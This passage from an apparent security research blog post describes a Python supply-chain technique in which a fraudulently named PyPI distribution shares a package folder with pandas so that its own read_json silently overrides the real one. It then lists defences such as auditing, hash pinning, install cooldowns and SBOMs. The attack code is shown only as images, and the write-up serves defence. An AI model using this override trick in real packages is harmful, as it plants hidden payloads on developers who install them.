transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">OS</span></span><span class="EOP SCXW98521121 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW98521121 BCX4" role="columnheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 504px;"><div class="TableCellContent SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW98521121 BCX4" paraid="1143491888" paraeid="{7d17daa5-5fa4-4520-ab6b-9bec2fcbcb38}{115}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Windows, Linux, macOS</span></span><span class="EOP SCXW98521121 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW98521121 BCX4" role="row" aria-rowindex="2" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW98521121 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 118px;"><div class="TableCellContent SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW98521121 BCX4" paraid="569323503" paraeid="{7d17daa5-5fa4-4520-ab6b-9bec2fcbcb38}{123}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Category</span></span><span class="EOP SCXW98521121 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW98521121 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 504px;"><div class="TableCellContent SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW98521121 BCX4" paraid="1880007958" paraeid="{7d17daa5-5fa4-4520-ab6b-9bec2fcbcb38}{130}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Package Content Abuse</span></span><span class="EOP SCXW98521121 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW98521121 BCX4" role="row" aria-rowindex="3" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW98521121 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 118px;"><div class="TableCellContent SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW98521121 BCX4" paraid="1024216375" paraeid="{7d17daa5-5fa4-4520-ab6b-9bec2fcbcb38}{138}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Persistence</span></span><span class="EOP SCXW98521121 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW98521121 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 504px;"><div class="TableCellContent SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW98521121 BCX4" paraid="469433726" paraeid="{7d17daa5-5fa4-4520-ab6b-9bec2fcbcb38}{145}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Conditional (fires when victim calls the overridden function)</span></span><span class="EOP SCXW98521121 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW98521121 BCX4" role="row" aria-rowindex="4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol SCXW98521121 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 118px;"><div class="TableCellContent SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW98521121 BCX4" paraid="756487160" paraeid="{7d17daa5-5fa4-4520-ab6b-9bec2fcbcb38}{153}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Build</span></span><span class="EOP SCXW98521121 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW98521121 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 504px;"><div class="TableCellContent SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW98521121 BCX4" paraid="1768278883" paraeid="{7d17daa5-5fa4-4520-ab6b-9bec2fcbcb38}{160}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">setup.py, </span><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">pyproject.toml</span></span><span class="EOP SCXW98521121 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW98521121 BCX4" role="row" aria-rowindex="5" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 0px;"><td class="FirstCol LastRow SCXW98521121 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 118px;"><div class="TableCellContent SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW98521121 BCX4" paraid="1859211662" paraeid="{7d17daa5-5fa4-4520-ab6b-9bec2fcbcb38}{168}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: center; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Distributions</span></span><span class="EOP SCXW98521121 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW98521121 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 3px outset; width: 504px;"><div class="TableCellContent SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 1px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW98521121 BCX4" paraid="1865589991" paraeid="{7d17daa5-5fa4-4520-ab6b-9bec2fcbcb38}{175}" style="-webkit-user-drag: none; margin: auto 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">sdist</span><span class="NormalTextRun SCXW98521121 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">, wheel</span></span><span class="EOP SCXW98521121 BCX4" data-ccp-props="{&quot;134233117&quot;:true,&quot;134233118&quot;:true,&quot;201341983&quot;:0,&quot;335559740&quot;:240}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: &quot;Times New Roman&quot;, &quot;Times New Roman_EmbeddedFont&quot;, &quot;Times New Roman_MSCustomFont&quot;, &quot;Times New Roman_MSFontService&quot;, serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<p></p><p>While building Python projects for distribution, the directories that will be packaged are specified, meaning that a single distribution file can contain multiple packaging directories. It is not mandatory for the project and package names to be identical &#x2014; when a project, and therefore its distribution file, is named <code>package1</code>, its package directory can be named <code>packet</code>. If you expect to upload it to PyPi, the distribution should have a unique name, but the same is not true for the package directories. This can lead to naming collisions, when different distributions use the same name for their packaging directories. When this occurs, the content of both distributions are extracted into same folder. For overlapping files and directories, directories replace the files.&#xA0;&#xA0;</p><p>This feature can be useful when trying to extend the capabilities of an existing library by adding new pipelines, backends, functions, etc. However, attackers can also leverage it to hide their payload amongst benign distributions. This makes it harder for defenders to spot and eradicate the malicious payload. Similar to other package content techniques, the use of compromised modules would trigger the execution of malicious payload, therefore leading to a conditional persistence.&#xA0;</p><p>In Figure 10, we override the legitimate <code>read_json</code> function of <code>pandas</code> library with a malicious one. We can now create a new project using a fraudulent name, that only contains &#x201C;pandas&#x201D; folder and &#x201C;__init__.py&#x201D; within.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-21-figure-10.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="754" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-21-figure-10.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-21-figure-10.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-21-figure-10.png 1430w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 10. Manipulating the execution flow of a legitimate </span><code spellcheck="false" style="white-space: pre-wrap;"><span>read_json</span></code><span style="white-space: pre-wrap;"> function.&#xA0;</span></figcaption></figure><p>For testing purposes, we can create a script that imports and calls the <code>read_json</code> function from the <code>pandas</code> library.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-22-figure-11.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="458" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-22-figure-11.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-22-figure-11.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-22-figure-11.png 1430w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 11. Using injected </span><code spellcheck="false" style="white-space: pre-wrap;"><span>read_json</span></code><span style="white-space: pre-wrap;"> function.</span></figcaption></figure><p>Once executed, our altered function will be executed besides the original one:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-23.png" class="kg-image" alt="The serpent&#x2019;s tongue: Luring the Python out of its den" loading="lazy" width="1430" height="458" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/carbon-23.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/carbon-23.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/carbon-23.png 1430w" sizes="(min-width: 720px) 720px"></figure><h2 id="defensive-measures">Defensive measures&#xA0;</h2><p>Securing a Python environment against malicious packages requires a layered defense strategy that combines automated auditing, strict dependency management, and proactive behavioral analysis. While effective individually, no single technique is resilient against breaches and compromises alone. The stages of a package lifecycle demand a complete approach. The following measures are all applicable for the techniques discussed previously.&#xA0;</p><h3 id="1-threat-intelligence-and-scanning">1. Threat intelligence and scanning&#xA0;</h3><p>Intelligence generation and consumption is one of the fundamental elements of cybersecurity, and Python packages are no different in that regard. Regularly auditing installed packages is the first line of defense against known security flaws. It begets additional indicators, which can be contributed back to community as a fresh threat intelligence.&#xA0;</p><ul><li><a href="https://pypi.org/project/pip-audit/" rel="noreferrer noopener"><u>pip-audit:</u></a> This is the official tool for scanning Python environments for packages with known vulnerabilities. It uses the Python Packaging Advisory Database to identify risks and can be integrated into CI/CD pipelines to break builds if a vulnerability is detected.&#xA0;</li><li>Automated Patching: Tools like <code>pip-audit --fix</code> can automatically upgrade vulnerable dependencies to the minimum safe version, reducing the manual effort required for remediation.&#xA0;</li><li>Yara rule scanning can be utilized to identify known malicious packages.&#xA0;</li><li>Abstract-Syntax Tree (AST) scanning turns code strings into a tree object that can be utilized to analyze function names, variables and imports for malicious behaviors.&#xA0;</li></ul><h3 id="2-dependency-pinning-and-integrity">2. Dependency pinning and integrity&#xA0;</h3><p>To prevent &quot;dependency drift&quot; or tampering, developers should ensure that every installation is reproducible and verified. Besides providing deployment stability, it prevents further spreading of the malicious packages by keeping users in stable versions.&#xA0;</p><ul><li>Lock Files: Use lock files such as &#x201C;uv.lock&#x201D;, &#x201C;poetry.lock&#x201D;, or &#x201C;Pipfile.lock&#x201D; to pin the exact versions of all transitive dependencies.&#xA0;</li><li>Cryptographic Hashes: <a href="https://bernat.tech/posts/securing-python-supply-chain/" rel="noreferrer noopener"><u>Always include hashes</u></a> in requirement files or lock files. This ensures that the package content downloaded from a repository matches the version originally vetted by the developer, preventing attackers from swapping files on the server.&#xA0;</li></ul><h3 id="3-environment-and-installation-controls">3. Environment and installation controls&#xA0;</h3><p>Controlling where, when, and how packages are installed can prevent the immediate execution of zero-day malicious payloads. They minimize the impact of malicious packages by slowing down the gains of the adversary.&#xA0;</p><ul><li>Dependency Cooldowns: The <a href="https://docs.astral.sh/uv/reference/cli/#uv-run--exclude-newer" rel="noreferrer noopener"><u>uv tool</u></a> offers an exclude-newer feature that ignores any package version published after a specific date or within a recent window, such as the last seven days. This &quot;cooldown&quot; period allows the security community time to identify and remove malicious uploads before they reach your environment.&#xA0;</li><li>Isolated Build Environments: Never build or install untrusted packages on a local workstation with sensitive access. Use ephemeral containers, virtual environments or isolated runners for all installation and build tasks to minimize the risk of a persistent foothold.&#xA0;</li></ul><h3 id="4-visibility-and-advanced-tooling">4. Visibility and advanced tooling&#xA0;</h3><p>Over time, cybersecurity is proven to become a communal effort. Individual initiatives such as vulnerability scanning may not be enough to catch sophisticated techniques. Providing and maintaining visibility across development helps engaging more responders in case of a compromise.&#xA0;</p><ul><li>Software Bill of Materials (SBOM): Generating an SBOM using standards like CycloneDX provides a comprehensive inventory of every component in your software. This allows security teams to respond within minutes when a new compromise is announced in a popular library.&#xA0;</li><li>Trusted Publishing: Maintainers should adopt OpenID Connect (OIDC) for &quot;Trusted Publishing&quot; on PyPI. This eliminates the need for long-lived API tokens and reduces the risk of account takeovers through credential theft.&#xA0;</li></ul>]]></content:encoded></item></channel></rss>